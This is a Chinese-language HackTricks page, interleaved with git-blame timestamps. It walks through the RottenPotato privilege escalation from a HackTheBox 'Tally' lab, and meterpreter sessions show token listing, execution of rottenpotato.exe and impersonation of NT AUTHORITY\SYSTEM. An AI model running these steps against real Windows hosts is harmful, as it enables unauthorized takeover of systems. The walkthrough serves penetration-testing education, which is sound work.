2022-05-08 23:13:03 +00:00
|
|
|
|
# RottenPotato
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2023-04-25 18:35:28 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
这个页面的信息是从[这篇文章](https://www.absolomb.com/2018-05-04-HackTheBox-Tally/)中提取的。
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
服务账户通常具有特殊权限(SeImpersonatePrivileges),可以用于提升权限。
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
|
|
|
|
[https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/)
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
我不会详细介绍这个漏洞是如何工作的,上面的文章比我能解释得更好。
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
让我们使用meterpreter检查我们的权限:
|
2022-05-08 23:13:03 +00:00
|
|
|
|
```
|
2020-07-15 15:43:14 +00:00
|
|
|
|
meterpreter > getprivs
|
|
|
|
|
|
|
|
|
|
Enabled Process Privileges
|
|
|
|
|
==========================
|
|
|
|
|
|
|
|
|
|
Name
|
|
|
|
|
----
|
|
|
|
|
SeAssignPrimaryTokenPrivilege
|
|
|
|
|
SeChangeNotifyPrivilege
|
|
|
|
|
SeCreateGlobalPrivilege
|
|
|
|
|
SeImpersonatePrivilege
|
|
|
|
|
SeIncreaseQuotaPrivilege
|
|
|
|
|
SeIncreaseWorkingSetPrivilege
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
太好了,看起来我们拥有执行攻击所需的权限。让我们上传 `rottenpotato.exe`。
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
回到我们的 meterpreter 会话中,我们加载 `incognito` 扩展。
|
2022-05-08 23:13:03 +00:00
|
|
|
|
```
|
2020-07-15 15:43:14 +00:00
|
|
|
|
meterpreter > use incognito
|
|
|
|
|
Loading extension incognito...Success.
|
|
|
|
|
meterpreter > list_tokens -u
|
|
|
|
|
[-] Warning: Not currently running as SYSTEM, not all tokens will beavailable
|
2023-08-03 19:12:22 +00:00
|
|
|
|
Call rev2self if primary process token is SYSTEM
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
|
|
|
|
Delegation Tokens Available
|
|
|
|
|
========================================
|
|
|
|
|
NT SERVICE\SQLSERVERAGENT
|
|
|
|
|
NT SERVICE\SQLTELEMETRY
|
|
|
|
|
TALLY\Sarah
|
|
|
|
|
|
|
|
|
|
Impersonation Tokens Available
|
|
|
|
|
========================================
|
|
|
|
|
No tokens available
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
我们可以看到我们当前没有模拟令牌。让我们运行腐烂的土豆漏洞利用程序。
|
2022-05-08 23:13:03 +00:00
|
|
|
|
```
|
2020-07-15 15:43:14 +00:00
|
|
|
|
meterpreter > execute -f rottenpotato.exe -Hc
|
|
|
|
|
Process 3104 created.
|
|
|
|
|
Channel 2 created.
|
|
|
|
|
meterpreter > list_tokens -u
|
|
|
|
|
[-] Warning: Not currently running as SYSTEM, not all tokens will beavailable
|
2023-08-03 19:12:22 +00:00
|
|
|
|
Call rev2self if primary process token is SYSTEM
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
|
|
|
|
Delegation Tokens Available
|
|
|
|
|
========================================
|
|
|
|
|
NT SERVICE\SQLSERVERAGENT
|
|
|
|
|
NT SERVICE\SQLTELEMETRY
|
|
|
|
|
TALLY\Sarah
|
|
|
|
|
|
|
|
|
|
Impersonation Tokens Available
|
|
|
|
|
========================================
|
|
|
|
|
NT AUTHORITY\SYSTEM
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
我们需要快速模拟令牌,否则它将消失。
|
2022-05-08 23:13:03 +00:00
|
|
|
|
```
|
2020-07-15 15:43:14 +00:00
|
|
|
|
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
|
|
|
|
|
[-] Warning: Not currently running as SYSTEM, not all tokens will beavailable
|
2023-08-03 19:12:22 +00:00
|
|
|
|
Call rev2self if primary process token is SYSTEM
|
2020-07-15 15:43:14 +00:00
|
|
|
|
[-] No delegation token available
|
|
|
|
|
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
|
|
|
|
|
meterpreter > getuid
|
|
|
|
|
Server username: NT AUTHORITY\SYSTEM
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
成功!我们已经获得了SYSTEM权限的shell,并且可以获取root.txt文件!
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2022-04-28 16:01:33 +00:00
|
|
|
|
<details>
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者想要获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|